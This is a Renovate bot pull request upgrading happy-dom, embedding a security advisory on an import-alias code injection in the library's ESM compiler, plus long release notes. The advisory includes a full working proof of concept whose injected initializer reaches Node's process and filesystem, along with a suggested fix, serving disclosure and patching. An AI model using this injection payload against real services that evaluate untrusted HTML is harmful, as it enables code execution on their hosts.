ReviewOS

also looking at this

stacks/besting

chore(deps): update dependency happy-dom to ^20.14.6 [security]

#757
Open renovate[bot] wants to merge renovate/npm-happy-dom-vulnerability into main
2 files +3 -3
4 days ago

[!NOTE] This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeAdoptionPassingConfidence
happy-dom^20.0.2 → ^20.14.6ageadoptionpassingconfidence

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions
  • JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
  • Attacker-controlled HTML or module source is processed by Happy DOM.
  • This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create package.json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
2. Create dep.json
{}
3. Create payload.mjs

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC
node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF
Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record
  • Testing date: 2026-09-17
  • Duplicate check updated: 2026-09-20
  • Platform: Windows 11
  • Node.js: 24.14.1
  • Latest tested package: happy-dom@20.14.5
  • Source tag: v20.14.5
  • Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • First confirmed affected version: 17.0.0
  • Confirmed unaffected version: 16.8.1
  • Docker environment: Node 24 Alpine
  • No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

capricorn86/happy-dom (happy-dom)

v20.14.6

Compare Source

:construction_worker_man: Patch fixes

v20.14.5

Compare Source

:construction_worker_man: Patch fixes

v20.14.4

Compare Source

:construction_worker_man: Patch fixes

v20.14.3

Compare Source

:construction_worker_man: Patch fixes

v20.14.2

Compare Source

:construction_worker_man: Patch fixes
  • Fixes regression where not all CSS variables where resolved in getComputedStyle() - By @​klaesra in task #​2344

v20.14.1

Compare Source

:construction_worker_man: Patch fixes

v20.14.0

Compare Source

:art: Features

v20.13.2

Compare Source

:construction_worker_man: Patch fixes

v20.13.1

Compare Source

:construction_worker_man: Patch fixes

v20.13.0

Compare Source

:art: Features

v20.12.2

Compare Source

:construction_worker_man: Patch fixes

v20.12.1

Compare Source

:art: Features
  • Adds support for kebab-case properties on CSSStyleDeclaration - By @​capricorn86 in task #​2256
  • Adds support for all Chromium CSS properties to CSSStyleDeclaration - By @​capricorn86 in task #​2256
    • Downloads a list from the Chromium project when compiling
:construction_worker_man: Patch fixes

v20.12.0

Compare Source

:art: Features
  • Adds support for Animation, AnimationTimeline, DocumentTimeline and KeyframeEffect - By @​capricorn86
  • Adds support for Element.animate() - By @​capricorn86

v20.11.15

Compare Source

:construction_worker_man: Patch fixes

v20.11.14

Compare Source

:construction_worker_man: Patch fixes
  • Change prototype of element to the custom element when upgraded to keep the reference - By @​capricorn86 in task #​2331
    • The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid

v20.11.13

Compare Source

:construction_worker_man: Patch fixes

v20.11.12

Compare Source

:construction_worker_man: Patch fixes

v20.11.11

Compare Source

:construction_worker_man: Patch fixes

v20.11.10

Compare Source

:construction_worker_man: Patch fixes

v20.11.9

Compare Source

:construction_worker_man: Patch fixes
  • Make sure that the element has been upgraded before invoking reaction callback in custom elements - By @​capricorn86 in task #​2317

v20.11.8

Compare Source

:construction_worker_man: Patch fixes

v20.11.7

Compare Source

:construction_worker_man: Patch fixes
  • The properties Document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets should validate it's value - By @​capricorn86 in task #​2313

v20.11.6

Compare Source

:construction_worker_man: Patch fixes

v20.11.5

Compare Source

:construction_worker_man: Patch fixes
  • Allow explicit element types for querySelector (e.g. querySelector<HTMLInputElement>(".my-input")) - By @​cyphercodes

v20.11.4

Compare Source

:construction_worker_man: Patch fixes
  • Fixes the CORS check fetch() to match origins instead of host and protocol - By @​rexxars in task #​1490

v20.11.3

Compare Source

:construction_worker_man: Patch fixes

v20.11.2

Compare Source

:construction_worker_man: Patch fixes

v20.11.1

Compare Source

:construction_worker_man: Patch fixes
  • Improve performance of query selectors by avoiding construction of DOMException when not needed - By @​@​cyfung1031 in task #​2228

v20.11.0

Compare Source

:art: Features

v20.10.6

Compare Source

:construction_worker_man: Patch fixes

v20.10.5

Compare Source

:construction_worker_man: Patch fixes
  • Adds cache to query selector parser - By @​capricorn86 in task #​2142
    • The selector parser degraded in performance in v20.6.3 to solve more complex selectors
    • Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem

v20.10.4

Compare Source

:construction_worker_man: Patch fixes
  • Coerce null qualifiedName to empty string in createDocument - By @​Firer in task #​2206

v20.10.3

Compare Source

:construction_worker_man: Patch fixes
  • Fix "~=" attribute selector matching hyphenated substrings in CSS selectors - By @​mixelburg in task #​2194

v20.10.2

Compare Source

:construction_worker_man: Patch fixes

v20.10.1

Compare Source

v20.10.0

Compare Source

:art: Features

v20.9.0

Compare Source

:art: Features

v20.8.9

Compare Source

:construction_worker_man: Patch fixes
  • Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @​capricorn86 in task #​2117

v20.8.8

Compare Source

:construction_worker_man: Patch fixes
  • Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
    • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

:construction_worker_man: Patch fixes
  • Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task #​1845

v20.8.6

Compare Source

:construction_worker_man: Patch fixes

v20.8.5

Compare Source

:construction_worker_man: Patch fixes

v20.8.4

Compare Source

:construction_worker_man: Patch fixes

v20.8.3

Compare Source

:construction_worker_man: Patch fixes

v20.8.2

Compare Source

:construction_worker_man: Patch fixes
  • Resets Event.cancelBubble and Event.defaultPrevented when calling Event.initEvent() - By @​capricorn86 in task #​2090

v20.8.1

Compare Source

:construction_worker_man: Patch fixes

v20.8.0

Compare Source

:art: Features
  • Adds support for setPointerCapture, hasPointerCapture, and releasePointerCapture to Element - By @​coffeeandwork in task #​1733

v20.7.2

Compare Source

:construction_worker_man: Patch fixes
  • Properly decode CSS escape sequences in attribute selector values - By @​silverwind

v20.7.1

Compare Source

:construction_worker_man: Patch fixes
  • Fixes issue related to parsing direct descendants (>) and universal (*) query selectors - By @​Cherry in task #​2078

v20.7.0

Compare Source

:art: Features

v20.6.5

Compare Source

:construction_worker_man: Patch fixes

v20.6.4

Compare Source

:construction_worker_man: Patch fixes

v20.6.3

Compare Source

:construction_worker_man: Patch fixes
  • Refactors query selector parser to be able to handle complex rules - By @​capricorn86 in task #​1910
  • Fixes issue related to using query selector for attribute in XML document - By @​capricorn86 in task #​1912
  • Fixes issue with using quotes within quotes for attribute query selector (e.g. [data-value="it's a test"]) - By @​capricorn86 in task #​2034

v20.6.2

Compare Source

:construction_worker_man: Patch fixes
  • Update entities package version to resolve missing export for vue and vue-compat v3.5 - By @​acollins1991 in task #​2066

v20.6.1

Compare Source

:construction_worker_man: Patch fixes

v20.6.0

Compare Source

:art: Features
  • Adds support for register on import to the @happy-dom/global-registrator package - By @​capricorn86 in task #​2060

v20.5.5

Compare Source

:construction_worker_man: Patch fixes

v20.5.4

Compare Source

:construction_worker_man: Patch fixes

v20.5.3

Compare Source

:construction_worker_man: Patch fixes
  • Node.replaceWith does not throw w/o parent - By @​lukeed

v20.5.2

Compare Source

:construction_worker_man: Patch fixes

v20.5.1

Compare Source

:construction_worker_man: Patch fixes
  • Fixes logic in HTMLInputElement.stepUp() and HTMLInputElement.stepDown() to work according to spec - By @​stevematney in task #​1955

v20.5.0

Compare Source

:construction_worker_man: Patch fixes
  • Removes circular dependencies internally - By @​capricorn86 in task #​2055
    • Compilers can handle simpler circular dependencies, but warnings may be outputted
  • Changes naming of types used internally to follow a consistent pattern - By @​capricorn86 in task #​2055
  • Enforces use of the "type" modifier internally in the source code (e.g. import type and export type) - By @​capricorn86 in task #​2055

v20.4.0

Compare Source

:art: Features

v20.3.9

Compare Source

:construction_worker_man: Patch fixes
  • Accept Document nodes as valid boundary points in Selection API - By @​skoch13 in task #​1952

v20.3.8

Compare Source

:construction_worker_man: Patch fixes
  • The getters for the properties focusNode and focusOffset in the Selection API returned incorrect values - By @​skoch13 in task #​1850

v20.3.7

Compare Source

:construction_worker_man: Patch fixes

v20.3.6

Compare Source

:construction_worker_man: Patch fixes
  • Fixes issue where it wasn't possible to toggle the "open" attribute of <details> by clicking on a child of the <summary> element - By @​Nxooah in task #​1928

v20.3.5

Compare Source

:construction_worker_man: Patch fixes
  • Use internal property for "location" in BrowserFrameURL to avoid mock interference - By @​marchaos in task #​1964
  • Add optional chaining to the "hostname" and pathname" properties to check if they are undefined in CookieURLUtility - By @​marchaos in task #​1968

v20.3.4

Compare Source

:construction_worker_man: Patch fixes

v20.3.3

Compare Source

:construction_worker_man: Patch fixes

v20.3.2

Compare Source

:construction_worker_man: Patch fixes

v20.3.1

Compare Source

:construction_worker_man: Patch fixes
  • Normalizes the "format" parameter according to the HTML specification in DataTransfer.getData() - By @​marchaos in task #​1965
  • Handle partial responses in XMLHttpRequest - By @​rexxars in task #​1890

v20.3.0

Compare Source

:art: Features

v20.2.0

Compare Source

:art: Features
  • Use Element.classList.contains() instead of splitting className in query selectors to improve performance as it's cached - By @​TrevorBurnham in task #​1884

v20.1.1

Compare Source

:construction_worker_man: Patch fixes

v20.1.0

Compare Source

:art: Features

[!IMPORTANT] ✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

2 changed files on the files tab, with 0 review threads.

Sign in to comment on this pull request.